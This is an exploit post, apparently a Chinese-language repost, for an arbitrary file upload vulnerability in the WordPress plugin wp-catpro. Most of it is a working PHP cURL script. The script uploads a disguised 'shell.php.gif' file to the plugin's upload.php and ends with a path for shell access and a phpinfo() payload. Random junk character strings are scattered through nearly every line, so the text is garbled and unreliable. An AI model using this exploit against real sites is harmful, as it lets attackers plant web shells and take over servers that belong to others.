Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability& Z" H( g% N+ F" |$ _; z
#-----------------------------------------------------------------------
7 Z8 N* r' J) G- B5 M# R 2 X9 M5 U# U" b1 r* @
作者 => Zikou-160 u4 H8 |! i' U7 b; p. h
邮箱 => zikou16x@gmail.com
& K1 j7 i- n4 J6 F. m$ z+ O9 o测试系统 : Windows 7 , Backtrack 5r3
. |/ N* T, Z4 u a) v下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
6 B" c7 S) [5 P( h" e####5 N/ J, l8 b( Z S# I: q& G
" ^: |: L; O) r#=> Exploit 信息:9 Y- ?" K1 x! o4 e# Y6 K8 Z
------------------8 ~% [. F2 i+ E- T
# 攻击者可以上传 file/shell.php.gif( P# G9 N6 R& }, J |
# ("jpg", "gif", "png") // Allowed file extensions) g0 \: S( B# [& b, a
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
9 ~# y9 [# r, [# a4 _1 c# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)$ u: W5 A Q, A, k$ f; _( W: U
------------------
) ]6 ]' w) ?/ L! k
: j/ F9 l' P5 C6 L0 j4 |/ Q#=> Exploit" B u( _2 Q( L9 }( ^% u
-----------0 u* o( a; w& W$ ~; {) A& T! X
<?php Q ?- j* ]& M' T
% S ~8 c/ j% P" X2 D8 l
$uploadfile="zik.php.gif";
( q. k) B! q# P0 j7 T$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");4 {' t) h4 E8 G
curl_setopt($ch, CURLOPT_POST, true);1 c5 S: W- g! y. m) E
curl_setopt($ch, CURLOPT_POSTFIELDS,
, M, N5 ~+ t2 w9 m* A$ Harray('Filedata'=>"@$uploadfile",
1 z& |) E8 q' C5 m'folder'=>'/wp-content/uploads/catpro/'));' l) N1 \: q$ ?1 G' p# C/ {4 j
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);! j3 ~, A! f% n2 Q3 t. t
$postResult = curl_exec($ch);
! y/ V! X. u: v" j6 Y2 Q# t/ Z, ]8 M4 fcurl_close($ch);
" {4 p9 Y2 l& O8 f! A0 E! e, @ 8 G, w! K- A2 b: d6 C7 |3 o
print "$postResult";, k& x4 T9 t- j
- j# p$ i. H) @0 k* u! ^
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
1 l; x; V9 r1 K3 U ?>+ M9 P! b, y6 z6 K7 }- o
<?php
$ H7 e0 {$ `- r8 k( z. Sphpinfo();
+ q4 N. `6 \5 P/ v- |! e?> |